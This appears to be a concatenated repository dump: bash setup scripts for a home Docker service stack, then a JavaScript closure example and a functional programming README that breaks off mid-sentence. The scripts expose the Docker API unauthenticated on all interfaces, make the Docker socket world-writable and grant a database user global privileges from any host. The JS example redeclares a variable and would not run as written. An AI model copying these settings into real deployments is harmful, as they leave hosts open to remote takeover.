"/C=US/ST=Massachusetts/L=Mansfield/O=soho_ball/OU=home/OU=docker.nginx.io/CN=$(hostname)" -out client.csr openssl x509 -req -days 3650 -in client.csr -CA root.pem -CAkey root.key -set_serial 01 -out client.pem rm -rf "$tmp" term.log '>> GENERATING SSL CERT ... DONE\n' 'lt_magenta' fi touch "$isIinitialized" fi # perform common if deploy.isValidService 'nginx' && [ -d "${config_dir}/nginx.conf" ]; then sudo mkdir -p "${WORKSPACE_DIR}/nginx/conf.d/" sudo cp -ru "${config_dir}/nginx.conf"/* "${WORKSPACE_DIR}/nginx/conf.d/" fi if [ -d "$www_dir" ]; then sudo cp -ru "${config_dir}/"* "${www_dir}/" [ -d "${www_dir}/nginx.conf" ] && sudo rm -rf "${www_dir}/nginx.conf" deploy.replaceIpAddresses "${www_dir}/index.html" "$(environ.ipAddress)" fi exit 0 <file_sep>/README.md ubuntu-s3 production environment <file_sep>/jenkins.setup #!/bin/bash ############################################################################# # # initialization for jenkins # ############################################################################# function initialize_jenkins_home() { local -r jenkins_home="${workspace_dir}/jenkins_home" [ -d "$jenkins_home" ] || return 0 git clone https://github.com/ballab1/jenkins-files.git "$jenkins_home" pushd "$jenkins_home" >/dev/null || return 0 local -a nfiles mapfile -t nfiles < <(ls -1A) [ ${#nfiles[*]} -gt 0 ] || return 0 # copy jdbc driver if [ "$(ls "${config_dir}/"*.jar 2>/dev/null ||:)" ]; then mkdir -p "${jenkins_home}/war/WEB-INF/lib" cp "${config_dir}/"*.jar "${jenkins_home}/war/WEB-INF/lib/" fi local -r host_ip=$(environ.ipAddress) while read -r xml; do sudo sed -i -e "s|10\\.1\\.3\\.\\d{1:3}|${host_ip}|g" "$xml" done < <(sudo grep -crH '10\.1\.3\.' ./* | \ grep -v ':0' | \ grep '.xml:' | \ grep -v '/builds/' | \ grep -v 'config-history/' | \ grep -v 'scm-sync-configuration/' | \ awk -F ':' '{print $1}' ||: ) [ ! -f .git ] || rm .git popd >/dev/null } #---------------------------------------------------------------------------- [ "${CONFIG_DIR:-}" ] || CONFIG_DIR="$(pwd)" [ "${WORKSPACE_DIR:-}" ] || WORKSPACE_DIR="$(pwd)/workspace.$(basename "$CONFIG_DIR")" declare -r config_dir="${CONFIG_DIR:?}/jenkins" declare -r workspace_dir="${WORKSPACE_DIR:?}/jenkins" declare isIinitialized="$(basename "${BASH_SOURCE[0]}")" isIinitialized="${workspace_dir}/.${isIinitialized%.*}.init" if [ ! -f "$isIinitialized" ]; then # perform initialization initialize_jenkins_home touch "$isIinitialized" fi # perform common if deploy.isValidService 'nginx' && [ -d "${config_dir}/nginx.conf" ]; then sudo mkdir -p "${WORKSPACE_DIR}/nginx/conf.d/" sudo cp -ru "${config_dir}/nginx.conf"/* "${WORKSPACE_DIR}/nginx/conf.d/" [ -d "${workspace_dir}/nginx.conf" ] && sudo rm -rf "${workspace_dir}/nginx.conf" fi exit 0 <file_sep>/metricbeat.setup #!/bin/bash ############################################################################# # # initialization for metricbeat # ############################################################################# [ "${CONFIG_DIR:-}" ] || CONFIG_DIR="$(pwd)" [ "${WORKSPACE_DIR:-}" ] || WORKSPACE_DIR="$(pwd)/workspace.$(basename "$CONFIG_DIR")" declare -r config_dir="${CONFIG_DIR:?}/metricbeat" declare -r workspace_dir="${WORKSPACE_DIR:?}/metricbeat" declare isIinitialized="$(basename "${BASH_SOURCE[0]}")" isIinitialized="${workspace_dir}/.${isIinitialized%.*}.init" if [ ! -f "$isIinitialized" ]; then # perform initialization mkdir -p "$workspace_dir" ||: touch "$isIinitialized" fi # perform common sudo rm -rf "${WORKSPACE_DIR}/modules.d" sudo cp -r "${config_dir}" "${WORKSPACE_DIR}/" sudo chown -R $ELKID:$(id -g) "$workspace_dir" # Exiting: error loading config file: config file ("metricbeat.yml") must be owned by the user identifier (uid=0) or root sudo chown root -R "${workspace_dir}"/* sudo chmod -R a+r "${workspace_dir}" sudo chmod a+rw /run/docker.sock exit 0 <file_sep>/nginx/services_ips.js var SERVICES_JSON; function init2() { } function init() { var xhttp = new XMLHttpRequest(); xhttp.onreadystatechange = getIndexJsonCB; xhttp.open("GET", 'services_ips.json', true); xhttp.setRequestHeader('Cache-Control', 'no-cache, no-store, must-revalidate'); xhttp.send(); // update 'div' elemnts from STATIC_JSON } function getIndexJsonCB () { if (this.readyState != 4) return; if (this.status == 200) { SERVICES_JSON = JSON.parse(this.responseText); SERVICES_JSON = SERVICES_JSON.sort(function(a, b) { if (a.text < b.text) return -1; if (a.text > b.text) return 1; return 0; }); updateIps(); } else { document.getElementById('services_ips').innerHTML = 'There was an issue loading the service_ips JSON "service_ips.json"'; } } function updateIps() { var div = document.getElementById('services_ips'); var id = null; var elm = null function check(value, index, array) { if (elm && value.title == elm.id) { elm.href = (value.port == 443) ? 'https://' + value.host : 'http://' + value.host + ':' + value.port; return value; } return null } var elms = div.getElementsByTagName('a') for (let el in elms) { elm = elms[el]; SERVICES_JSON.filter(check); } } function showDockerRestApi () { var host = this.host.value; var x1 = document.getElementById('test'); var elms = x1.getElementsByTagName('a') for (let i = 0; i < elms.length; i++) { elm = elms[i]; var href = elm.href; var offs = href.indexOf(":4243/"); href = 'http://' + host + href.substr(offs); elm.href = href; } } function xxx() { var table = document.createElement('div'); table.className = 'table center'; table.id = 'main'+id; var old = document.getElementById(table.id); if (old) x1.removeChild( old ); x1.appendChild( table ); var form = document.createElement('form'); form.action = 'showContent('+id+')' var lbl = document.createElement('label'); lbl.for = 'host'; lbl.appendChild(document.createTextNode('Select host')); // lbl.text = 'Select host'; form.appendChild(lbl); var sel = document.createElement('select'); sel.id = 'host'; sel.name = 'host'; var option = document.createElement('option'); option.value = "volvo"; option.text = 'Volvo'; sel.appendChild(option); form.appendChild(sel); for (var i = 0; i < json.length;) { var row = document.createElement('div'); row.className = 'row'; table.appendChild(row); showVersion(json[i++], row); } } <file_sep>/nagios.setup #!/bin/bash ############################################################################# # # initialization for nagios # ############################################################################# [ "${CONFIG_DIR:-}" ] || CONFIG_DIR="$(pwd)" [ "${WORKSPACE_DIR:-}" ] || WORKSPACE_DIR="$(pwd)/workspace.$(basename "$CONFIG_DIR")" declare -r config_dir="${CONFIG_DIR:?}/nagios" declare -r workspace_dir="${WORKSPACE_DIR:?}/nagios" declare NagiosConfig="${workspace_dir}/config/NagiosConfig.tgz" declare isIinitialized="$(basename "${BASH_SOURCE[0]}")" isIinitialized="${workspace_dir}/.${isIinitialized%.*}.init" if [ ! -f "$isIinitialized" ]; then # perform initialization mkdir -p "$workspace_dir" ||: if [ ! -f "$NagiosConfig" ]; then mkdir -p "${workspace_dir}/archives" ||: [ -e "${config_dir}/NagiosConfig.tgz" ] && cp "${config_dir}/NagiosConfig.tgz" "$NagiosConfig" fi declare dumps_dir="${WORKSPACE_DIR}/mysql/loader/dumps" if [ ! -e "${dumps_dir}/nconf.sql" ]; then mkdir -p "$dumps_dir" ||: cp "${config_dir}/nconf.sql" "${dumps_dir}/nconf.sql" fi declare -r mysql_root_password="$(deploy.passwordSecret 'mysql' 'MYSQL_ROOT_PASSWORD' )" declare -r nconf_dbpass="$(deploy.passwordSecret 'nagios' '<PASSWORD>' )" # determine nconf dbuser declare -r dc_json="$(lib.yamlToJson "${WORKSPACE_DIR}/docker-compose.yml")" declare nconf_dbuser=$(jq --compact-output --monochrome-output --raw-output '.services.nagios.environment.NCONF_DBUSER' <<< "$dc_json") nconf_dbuser="$(eval echo "$nconf_dbuser")" if [ "${nconf_dbuser:-null}" != 'null' ] && [ "${nconf_dbpass:-}" ]; then cat <<-NCONF_DBUSER > "${WORKSPACE_DIR}/mysql/loader/nconf_user.sh" #!/bin/bash cat <<-EOSQL | mysql -uroot -p${mysql_root_password} -hlocalhost CREATE DATABASE IF NOT EXISTS nconf; CREATE DATABASE IF NOT EXISTS nagios_test; CREATE USER IF NOT EXISTS '${nconf_dbuser}'@'%'; SET PASSWORD FOR '${nconf_dbuser}'@'%' = PASSWORD('${nconf_dbpass}'); GRANT ALL ON nconf.* TO '${nconf_dbuser}'@'%'; GRANT ALL ON nagios_test.* TO '${nconf_dbuser}'@'%'; EOSQL NCONF_DBUSER else [ "${nconf_dbuser:-null}" = 'null' ] && echo 'nconf_dbuser not defined: connection to MYSQL not created' >&2 [ -z "${nconf_dbpass:-}" ] && echo 'nconf_dbpass not defined: connection to MYSQL not created' >2 fi touch "$isIinitialized" fi # perform common if deploy.isValidService 'nginx' && [ -d "${config_dir}/nginx.conf" ]; then sudo mkdir -p "${WORKSPACE_DIR}/nginx/conf.d/" sudo cp -ru "${config_dir}/nginx.conf"/* "${WORKSPACE_DIR}/nginx/conf.d/" fi if [ "${config_dir}/NagiosConfig.tgz" -nt "$NagiosConfig" ]; then echo " Updating $NagiosConfig" >&2 sudo cp "${config_dir}/NagiosConfig.tgz" "$NagiosConfig" [ -d "${workspace_dir}/nginx.conf" ] && sudo rm -rf "${workspace_dir}/nginx.conf" fi exit 0 <file_sep>/phpmyadmin.setup #!/bin/bash ############################################################################# # # initialization for phpmyadmin # ############################################################################# [ "${CONFIG_DIR:-}" ] || CONFIG_DIR="$(pwd)" [ "${WORKSPACE_DIR:-}" ] || WORKSPACE_DIR="$(pwd)/workspace.$(basename "$CONFIG_DIR")" declare -r config_dir="${CONFIG_DIR:?}/phpmyadmin" declare -r workspace_dir="${WORKSPACE_DIR:?}/phpmyadmin" declare isIinitialized="$(basename "${BASH_SOURCE[0]}")" isIinitialized="${workspace_dir}/.${isIinitialized%.*}.init" if [ ! -f "$isIinitialized" ]; then # perform initialization mkdir -p "$workspace_dir" ||: declare dumps_dir="${WORKSPACE_DIR}/mysql/loader/dumps" if [ ! -e "${dumps_dir}/phpmyadmin.sql" ]; then mkdir -p "$dumps_dir" ||: cp "${config_dir}"/*.sql "${dumps_dir}/" fi # update dbms access for phpmyadmin declare -r mysql_root_password="$(deploy.passwordSecret 'mysql' 'MYSQL_ROOT_PASSWORD' )" declare -r pma_dbpass="$(deploy.passwordSecret '<PASSWORD>' '<PASSWORD>' )" # update dbms access for phpmyadmin declare dc_json="$(lib.yamlToJson "${WORKSPACE_DIR}/docker-compose.yml")" declare pma_dbuser=$(jq --compact-output --monochrome-output --raw-output '.services.phpmyadmin.environment.PMA_USER' <<< "$dc_json") pma_dbuser="$(eval echo "$pma_dbuser")" if [ "${pma_dbuser:-null}" != 'null' ] && [ "${pma_dbpass:-}" ]; then cat <<-PMA_USER > "${WORKSPACE_DIR}/mysql/loader/phpmyadmin_user.sh" #!/bin/bash cat <<-EOSQL | mysql -uroot -p${mysql_root_password} -hlocalhost CREATE DATABASE IF NOT EXISTS phpmyadmin; CREATE USER IF NOT EXISTS '${pma_dbuser}'@'%'; SET PASSWORD FOR '${pma_dbuser}'@'%' = PASSWORD('${pma_dbpass}'); GRANT ALL PRIVILEGES ON *.* TO '${pma_dbuser}'@'%' WITH GRANT OPTION; EOSQL PMA_USER else [ "${pma_dbuser:-null}" = 'null' ] && echo 'pma_dbuser not defined: connection to MYSQL not created' >&2 [ -z "${pma_dbpass:-}" ] && echo 'pma_dbpass not defined: connection to MYSQL not created' >&2 fi touch "$isIinitialized" fi # perform common if deploy.isValidService 'nginx' && [ -d "${config_dir}/nginx.conf" ]; then sudo mkdir -p "${WORKSPACE_DIR}/nginx/conf.d/" sudo cp -ru "${config_dir}/nginx.conf"/* "${WORKSPACE_DIR}/nginx/conf.d/" [ -d "${workspace_dir}/nginx.conf" ] && sudo rm -rf "${workspace_dir}/nginx.conf" fi exit 0 <file_sep>/mysql.setup #!/bin/bash ############################################################################# # # initialization for mysql # ############################################################################# [ "${CONFIG_DIR:-}" ] || CONFIG_DIR="$(pwd)" [ "${WORKSPACE_DIR:-}" ] || WORKSPACE_DIR="$(pwd)/workspace.$(basename "$CONFIG_DIR")" declare -r config_dir="${CONFIG_DIR:?}/mysql" declare -r workspace_dir="${WORKSPACE_DIR:?}/mysql" declare isIinitialized="$(basename "${BASH_SOURCE[0]}")" isIinitialized="${workspace_dir}/.${isIinitialized%.*}.init" if [ ! -f "$isIinitialized" ]; then # perform initialization mkdir -p "$workspace_dir" ||: declare loader_dir="${workspace_dir}/loader" [ -d "${loader_dir}/dumps" ] || mkdir -p "${loader_dir}/dumps" ||: mkdir -p "${loader_dir}/dumps" ||: cp -r "${config_dir}/"* "${loader_dir}/" git clone https://github.com/ballab1/DBMS-backup "${loader_dir}/dumps" touch "$isIinitialized" fi exit 0 <file_sep>/grafana.setup #!/bin/bash ############################################################################# # # initialization for grafana # ############################################################################# [ "${CONFIG_DIR:-}" ] || CONFIG_DIR="$(pwd)" [ "${WORKSPACE_DIR:-}" ] || WORKSPACE_DIR="$(pwd)/workspace.$(basename "$CONFIG_DIR")" declare -r config_dir="${CONFIG_DIR:?}/grafana" declare -r workspace_dir="${WORKSPACE_DIR:?}/grafana" declare -r grafana_uid=${GRAFANA_UID:?} declare isIinitialized="$(basename "${BASH_SOURCE[0]}")" isIinitialized="${workspace_dir}/.${isIinitialized%.*}.init" if [ ! -f "$isIinitialized" ]; then # perform initialization mkdir -p "$workspace_dir" ||: sudo cp -r "${config_dir}" "${WORKSPACE_DIR}/" sudo mkdir -p "${workspace_dir}/etc/provisioning/dashboards" sudo mkdir -p "${workspace_dir}/etc/provisioning/datasources" sudo mkdir -p "${workspace_dir}/etc/provisioning/notifiers" sudo mkdir -p "${workspace_dir}/etc/provisioning/plugins" declare -r host_ip=$(environ.ipAddress) declare -r host_name=$(environ.hostName) declare -r grafana_root_password="$(deploy.passwordSecret 'grafana' 'GF_SECURITY_ADMIN_PASSWORD' )" declare -r ini=${workspace_dir}/etc/grafana.ini sudo sed -i -r -e "s|^instance_name\\s*=.*$|instance_name = ${host_name}|" \ -e "s|^domain\\s*=.*$|domain = ${host_ip}|" \ -e "s|^root_url\\s*=.*$|root_url = http://${host_ip}:3000/grafana|" \ -e "s|admin_user\\s*=.*$|admin_user = ${CFG_USER}|" \ -e "s|<HOST_IP>|${host_ip}|g" \ -e "s|^admin_password\\s*=.*$|admin_password = ${grafana_root_password}|" \ "$ini" sudo chown -R "$grafana_uid" "$workspace_dir" declare dumps_dir="${WORKSPACE_DIR}/mysql/loader/dumps" if [ ! -e "${dumps_dir}/grafana.sql" ]; then mkdir -p "$dumps_dir" ||: cp "${config_dir}/grafana.sql" "${dumps_dir}/grafana.sql" fi declare -r mysql_root_password="$(deploy.passwordSecret 'mysql' 'MYSQL_ROOT_PASSWORD' )" declare -r grafana_dbpass="$(deploy.passwordSecret 'grafana' 'GR<PASSWORD>_DBPASS' )" # determine grafana dbuser declare -r dc_json="$(lib.yamlToJson "${WORKSPACE_DIR}/docker-compose.yml")" declare grafana_dbuser=$(jq --compact-output --monochrome-output --raw-output '.services.grafana.environment.GRAFANA_DBUSER' <<< "$dc_json") grafana_dbuser="$(eval echo "$grafana_dbuser")" if [ "${grafana_dbuser:-null}" != 'null' ] && [ "${grafana_dbpass:-}" ]; then cat <<-GRAFANA_DBUSER > "${WORKSPACE_DIR}/mysql/loader/grafana_user.sh" #!/bin/bash cat <<-EOSQL | mysql -uroot -p${mysql_root_password} -hlocalhost CREATE DATABASE IF NOT EXISTS grafana; CREATE USER IF NOT EXISTS '${grafana_dbuser}'@'%'; SET PASSWORD FOR '${grafana_dbuser}'@'%' = PASSWORD('${grafana_dbpass}'); GRANT ALL ON grafana.* TO '${grafana_dbuser}'@'%'; EOSQL GRAFANA_DBUSER else [ "${grafana_dbuser:-null}" = 'null' ] && echo 'grafana_dbuser not defined: connection to MYSQL not created' >&2 [ -z "${grafana_dbpass:-}" ] && echo 'grafana_dbpass not defined: connection to MYSQL not created' >&2 fi touch "$isIinitialized" fi # perform common if [ -d "${config_dir}/nginx.conf" ]; then sudo mkdir -p "${WORKSPACE_DIR}/nginx/conf.d/" sudo cp -ru "${config_dir}/nginx.conf"/* "${WORKSPACE_DIR}/nginx/conf.d/" [ -d "${workspace_dir}/nginx.conf" ] && sudo rm -rf "${workspace_dir}/nginx.conf" fi exit 0 <file_sep>/registry.setup #!/bin/bash ############################################################################# # # initialization for docker-registry-frontend # ############################################################################# [ "${CONFIG_DIR:-}" ] || CONFIG_DIR="$(pwd)" [ "${WORKSPACE_DIR:-}" ] || WORKSPACE_DIR="$(pwd)/workspace.$(basename "$CONFIG_DIR")" declare -r config_dir="${CONFIG_DIR:?}/registryfe" declare -r workspace_dir="${WORKSPACE_DIR:?}/registryfe" declare isIinitialized="$(basename "${BASH_SOURCE[0]}")" isIinitialized="${workspace_dir}/.${isIinitialized%.*}.init" if [ ! -f "$isIinitialized" ]; then # perform initialization mkdir -p "$workspace_dir" ||: sudo cp -r "${config_dir}/"* "$workspace_dir" touch "$isIinitialized" fi # perform common if deploy.isValidService 'nginx' && [ -d "${config_dir}/nginx.conf" ]; then sudo mkdir -p "${WORKSPACE_DIR}/nginx/conf.d/" sudo cp -ru "${config_dir}/nginx.conf"/* "${WORKSPACE_DIR}/nginx/conf.d/" [ -d "${workspace_dir}/nginx.conf" ] && sudo rm -rf "${workspace_dir}/nginx.conf" fi exit 0 <file_sep>/secrets.setup #!/bin/bash ############################################################################# # # initialization for secrets # ############################################################################# [ "${CONFIG_DIR:-}" ] || CONFIG_DIR="$(pwd)" [ "${WORKSPACE_DIR:-}" ] || WORKSPACE_DIR="$(pwd)/workspace.$(basename "$CONFIG_DIR")" declare -r config_dir="${CONFIG_DIR:?}" declare -r workspace_dir="${WORKSPACE_DIR:?}/.secrets" declare isIinitialized="$(basename "${BASH_SOURCE[0]}")" isIinitialized="${workspace_dir}/.${isIinitialized%.*}.init" if [ ! -f "$isIinitialized" ]; then # perform initialization mkdir -p "$workspace_dir" ||: cp "${config_dir}/secrets"/* "${workspace_dir}/" touch "$isIinitialized" fi # perform common exit 0 <file_sep>/deploy.setup #!/bin/bash ############################################################################# # # initialization for deploy # ############################################################################# [ "${CONFIG_DIR:-}" ] || CONFIG_DIR="$(pwd)" [ "${WORKSPACE_DIR:-}" ] || WORKSPACE_DIR="$(pwd)/workspace.$(basename "$CONFIG_DIR")" #---------------------------------------------------------------------------- function exposeDockerRestAPI() { local target=/lib/systemd/system/docker.service [ "$(grep -sc 'tcp://0.0.0.0:4243' "$target")" -gt 0 ] && return 0 echo -e '\e[91mExposing docker REST API\e[0m' >&2 echo -e '\e[33msed -iE '"'"'s|^(ExecStart=/usr/bin/dockerd -H fd://)(.*)$|\1 -H tcp://0.0.0.0:4243\2|'"' $target"'\e[0m' >&2 sudo sed -i -E 's|^(ExecStart=/usr/bin/dockerd -H fd://)(.*)$|\1 -H tcp://0.0.0.0:4243\2|' "$target" sudo -s systemctl daemon-reload sudo -s systemctl restart docker return 0 } #---------------------------------------------------------------------------- declare -r config_dir="${CONFIG_DIR:?}" declare -r workspace_dir="${WORKSPACE_DIR:?}" declare -r MOUNTPOINT=/opt if [ "${1:-}" ]; then # copy certs to ${MOUNTPOINT} which is the custom volume echo "copying certs to docker volume : $1" >&2 rm -rf "$MOUNTPOINT"/* cd /etc/ssl ||: while read -r file; do [ -d "$(dirname "${MOUNTPOINT}/$file")" ] || mkdir -p "$(dirname "${MOUNTPOINT}/$file")" cp "$(readlink -f "$file")" "${MOUNTPOINT}/$file" done < <(find . ! -type d | awk '{print substr($1,3)}') exit 0 fi declare isIinitialized="$(basename "${BASH_SOURCE[0]}")" isIinitialized="${workspace_dir}/.${isIinitialized%.*}.init" if [ ! -f "$isIinitialized" ]; then # perform initialization mkdir -p "$workspace_dir" ||: exposeDockerRestAPI touch "$isIinitialized" fi exit 0
cd682c8cc3c77b4249ce0f391e51cb56fdbcd9c3
[ "Markdown", "JavaScript", "Shell" ]
14
Markdown
ballab1/production-s3
0c90369c810ab4799e17a97c37c4c56d177bb0ae
5558aff31da3ef2c9d1fd1e906713500abf70390
refs/heads/master
<file_sep>import React, { useReducer, useEffect } from 'react'; import './App.css'; import axios from 'axios' import 'bootstrap/dist/css/bootstrap.min.css'; import { ListGroup, ListGroupItem, Badge } from 'reactstrap'; const initialState = { loading: true, error: '', todos: [] }; const reducer = (state, action) => { switch (action.type) { case 'SET_DATA': return { loading: false, error: '', todos: action.payload } case 'SET_ERROR': return { loading: false, error: 'There are some error', todos: [] } default: return state } } function App() { const [state, dispatch] = useReducer(reducer, initialState); useEffect(() => { axios('https://jsonplaceholder.typicode.com/todos') .then(res => { console.log(res.data) dispatch({type:'SET_DATA', payload:res.data}) }) .catch(err=>{ dispatch({type:'SET_ERROR'}) }) }, []) const listmarkup = ( <ListGroup> {state.todos.map(todo=> <ListGroupItem color={todo.completed?'success':'danger'} key={todo.id}>{todo.title} {todo.completed?(<Badge pill color='success'>Completed</Badge>):(<Badge pill color='danger'>Incompleted</Badge>)} </ListGroupItem> )} </ListGroup> ); return ( <div className="App"> {state.loading?'Loading':state.error?state.error:listmarkup} </div> ); } export default App;
80adf32b531e131825ca06c3827ad809bce8dce5
[ "JavaScript" ]
1
JavaScript
pruthvi03/ReactStrap
617d522104fc1ae9539bb48f5addbddb3df14e92
796fe996d2ac957c1f8746718080a49d6fc43d76
refs/heads/master
<repo_name>john-azzaro/Functional-Programming-from-the-Beginning<file_sep>/lazyEagerEaxample.js "use strict"; //lazy execution function repeater(count) { return function addBlock() { return "".padStart(count, "#") } } let blockItOut = repeater(8); console.log(blockItOut()); // Eager execution function repeater(count) { let str = "".padStart(count, "#"); return function addBlock() { return str; } } let blockItOut = repeater(8); console.log(blockItOut()); // ######## console.log(blockItOut()); // ######## (second time same) console.log(blockItOut()); // ######## (third time same)<file_sep>/README.md # Functional Programming Study * [What is Functional Programming?](#What-is-Functional-Programming) * [What is a function?](#What-is-a-function) * [How does a function work?](#How-does-a-function-work) * [How do you define a function?](#How-do-you-define-a-function) * [What is hoisting, scope, and scope chain?](#What-is-hoisting-scope-and-scope-chain) * [What are side effects?](#What-are-side-effects) * [What is a pure function?](#What-is-a-pure-function) * [What are side effects?](#What-are-side-effects) * [What are arguments?](#What-are-arguments) * [What is a high-order function?](#What-is-a-high-order-function) * [What-is-point-free-and-equational-reasoning?](#What-is-point-free-and-equational-reasoning) * [What is closure?](#What-is-closure) * [What is lazy and eager execution?](#What-is-lazy-and-eager-execution) * [What is memoization?](#What-is-memoization) * [What is referential transparency?](#What-is-referential-transparency) * [What is Partial Application?](#What-is-Partial-Application) * [What is Currying?](#What-is-Currying) * [What is composition?](#What-is-composition) * [What is associativity?](#[What-is-associativity) * [What is immutability?](#What-is-immutability) <br> <br> <br> <br> # What is Functional Programming? <dl> <dd> ## Functional programming is a paradigm. **Functional programing (FP) is a paradigm where the process of building software by composing pure functions, avoiding shared state, mutable data, and side effects.** Functional programming tends to be *provable*, *concise*, *predicatable*, and *easier to test* than other programming paradigms such as Object Oriented Programming (OOP). ## Functional programming is declaritive. **Functional programming is *declarative* in that your code should tell a story.** For example, when you comment on code you need to explain the "why" and not the "what", such as why you have a for-loop iterating over an array rather than saying you have a for-loop which should be obvious. **In contrast to the declaritve is the *imperative* where the reader of that code somewhere down the line has to read and mentally execute it**. In essence, code being imperiative means inferring from the code to understand what it is doing. In this way, imperative code can be harder to fix and maintain. </dd> </dl> <br> <br> <br> <br> # What is a function? <dl> <dd> ## A function is a repeatable process that takes inputs and returns outputs. **A function is a readable and repeatable process or behavior that not only takes some input but returns some output.** A function is *repeatable* (i.e. can be called multiple times) and *determinate* (i.e. predictable). Functions are *modular* and are the fundamental building blocks of JavaScript that perform tasks or calculate values. A function is a semantic relationship between the input and the computed output (i.e. a relationship between what you put in and what you get out). </dd> </dl> <br> <br> <br> <br> # How does a function work? <dl> <dd> ## A function is defined, passed an input, and returns an output when invoked. At the heart of a function is the ability to define that function, take an input, and through the contents of your main block of code, return an output that is predictable. To better explain this, lets first look at the primary parts of a function. In the example directly below we have a *function declaration* (which is one of serveral ways you can define a function). In this example, we first add a ```function``` prefiex to define it. Then, we name it and pass in input *parameters*. In the body of the function, we then ```return``` the resulting output. And when we are ready to use this function we "call" a function, which means you can invoke the function name and pass any "arguments" (which directly correlate to the parameter slot in the defined function) which are needed to return a result. ```JavaScript //FUNCTION KEYWORD //NAME //CALL SIGNATURE (W/PARAMETER) // \ | / function myFunction(str) { return str; //MAIN BLOCK of function that RETURNS a result } myFunction("Hello!")); //CALL (W/ARGUMENT) ``` <br> ## There a four primary parts of a function. There are FOUR primary parts of a function that you need to be familiar with, specifically: 1. Function keyword 2. Name 3. Callsignature (with or without parameters) 4. Main block of the function (where your code will go) inbetween curly braces. <br> | **Component:** | **ID:** | **Description:** | | ------------------------ | ---------------------| ----------------------------------------------| | ***function*** | *Keyword* | Functions are "defined" with the ```function``` keyword and are often called "declaring" a function. | | ***myFunction*** | *Name* | The name of the function is used to "invoke" the function elsewhere in your code. It can be optional (i.e. anonymous function) and can include upper and lower case letters, 0-9 numbers, underscore (_), cash sign ($), and some special characters. | | ***(str)*** | *Call Signature* | A call signature contains "parameters", which are seperated by commas. You can have as many parameters as you wish. Additionally, remember the parameters are *local* and ONLY available inside the function. | | ***{...}*** | *Main Block* | Since the objective of a function is to do something, the main block of your function has *instructions* which are themselves *statements* enclosed by braces (i.e. {} ). These statements are seperated by semicolons (;). | | ***return*** | *Return* | The "return" statement returns a result, such as an object, an array, or even another function back to the caller. The return statement must be in the body of the function. Although it is technically optional, the use of "return" makes it a function and if there is not a return, it is called a *procedure*. | | ***myFunction();*** | *Invocation* | "calling" the function name allows the function to be used elsewhere in your code. Use the parentheses to call a function. Inside the parentheses, you pass "arguments" which will fit into the slot allocated in the function call signature. | <br> ## Each part of a function has special quirks and features. As mentioned, the example above is of a *function declaration* which is largely the standard layout of a function. However, much of the same information applies to other ways we can declare a function. In addition, each of the components have thier own particular quirks, features, functionalities, etc. There's a LOT quirks and features to consider, but here are some interesting ones to keep in mind: <br> However, No functionality is chnaged, only the style of the code which is intended to be more semantic. The only drawback is that you do clutter up the code. <br> ## All functions in JavaScript are "variadic". <dl> <dd> All functions in JavaScript are ***variadic***, meaning that no matter how many parameters are declared, you can pass as many or as few as you want. In the example, below, if you pass in 3 arguments to a function that expects only 1, you only get one back as a result. ```JavaScript function variadicExample(item1) { // 1 defined parameter. return item1; } console.log(variadicExample(1,2,3)) // 1 (from 3 arguments passed in). ``` </dd> </dl> <br> ## If a function does not return something, it is a procedure. <dl> <dd> **If a function does not RETURN something, it is a procedure.** In the context of functional programming, keep in mind that just because a function has a function keyword doesnt mean it can maintain itself as a function. In other words, any function that calls a procedure CANNOT be called a function... it becomes a procedure as well. This is important in order to take advantage of function programming. ```JavaScript function addNumbers(a = 0, b = 0, c = 0) { // Does not RETURN, is procedural. let total = a + b + c; console.log(total); } function moreNumbers(a = 2,...args) { // Returns something, but relies on procedural. return addNumbers(a, 20,...args); } moreNumbers(); ``` </dd> </dl> <br> ## Pass "parameters" into a function and "arguments" into it's invocation. <dl> <dd> **When you define a function, you pass in parameters into thier respective slot in the call signature.** For example, if you had ```function add(num1, num2) {...}```, ```num1``` and ```num2``` are the paramters. **When you invoke a function (i.e. call a function after it has been declared), you pass in values as arguments.** For example, if you invoke the function ```add``` you would pass in the two numbers in the call signature like so: ```add(1, 2)```. ```JavaScript function add(num1, num2) {...} // When declared, "num1" and "num2" here are PARAMETERS. add(num1, num2); // When invoked, "num1" and "num2" here are ARGUEMENTS. ``` </dd> </dl> <br> ## Parameters have different forms, such as inputs, default parameters, etc. <dl> <dd> **You can pass parameters to a function as inputs:** ```JavaScript function add(num1, num2) {...}; ``` **You can insert default parameters INSIDE the call signature:** ```JavaScript function add(num1, num2 = 5) {...}; ``` **You can pass in default parameters in the function body with an OR operator.** Note that you do NOT instantiate the default parameter as a variable. ```JavaScript function add(num1, num2) { num2 = num2 || 5 }; ``` </dd> </dl> <br> ## Parameters should be ordered general (on the left) to specific (on the right). <dl> <dd> Parameter order matters a lot. When you order your parameters, you need to go from general (on the left) to specific(on the right). The order of those inputs matter because you are going to provide those inputs one at a time and unfold them in that order. So for example a callback would come before something like an array because the array has specific data in it. </dd> </dl> <br> ## Functions can be nested and called with sets of parentheses. <dl> <dd> For example, you can acutally nest functions inside another function and call the function *successively* inside a series of parentheses. Note a few things here. First, a function returns a function (which can return a function etc.). Second, the way we call this function is in the order the parameters are executed (i.e. num1 > num2 > string). When you call the "add" function, you encapsulate each call signature in order. ```JavaScript function add(num1, num2) { return function addString(string) { return `${string} is: ${num1 + num2}` }; } console.log(add(1,2)("the sum of num1 and num2")); ``` </dd> </dl> <br> ## Function calls should be semantic. <dl> <dd> The name of a function call describes it purpose, so you want to keep the code more semantic. The function call should describe its purpose. When making function calls more semantic, you do tend to clutter up your code. However, no functionality has changed... only the style of the code which is intended to be more semantic and readable to the user. ```JavaScript function ajax(url, data, callback) {...}; ajax(CUSTOMER_API, {id:25}, renderCustomer); // Although this works, it no very readable. ---------- function getCustomer(data, callback) { return ajax(CUSTOMER_API, data, callback); } getUser({id: 25}, renderCustomer) // This is more semantic even though it adds more code. ``` </dd> </dl> </dd> </dl> <br> <br> <br> <br> # How do you define a function? <dl> <dd> ## Functions can be defined as declarations, expressions, or as IIFE's There few ways to define a function: **Named functions (declaration and expression) and Immediately invoked function expressions.** Although they each do the same thing, namely defining a function, each does so in a different way or, as in the case of the Immediately Invoked Function Expression, executed in different ways. <br> ## A function declaration is hoisted. A **function declaration** is a common way defining a function. Function declarations are hoisted (i.e. how the browser parses JavaScript reading through once and executing on the second pass) with it's contents to the top level. This even applies to function declarations inside a function which would be hoisted to the top. Here's an example of a function declaration: ```JavaScript function addDeclaration(num1, num2) { return num1 + num2; } ``` <br> ## A function expression is NOT hoisted. A **function expression** (or "definition expression" or "function literal") is a JavaScript pattern that lets you create a variable and execute it as a function. As a variable, a function expression can be set to a number, a string, an object, or even a function. Unlike a function declaration, 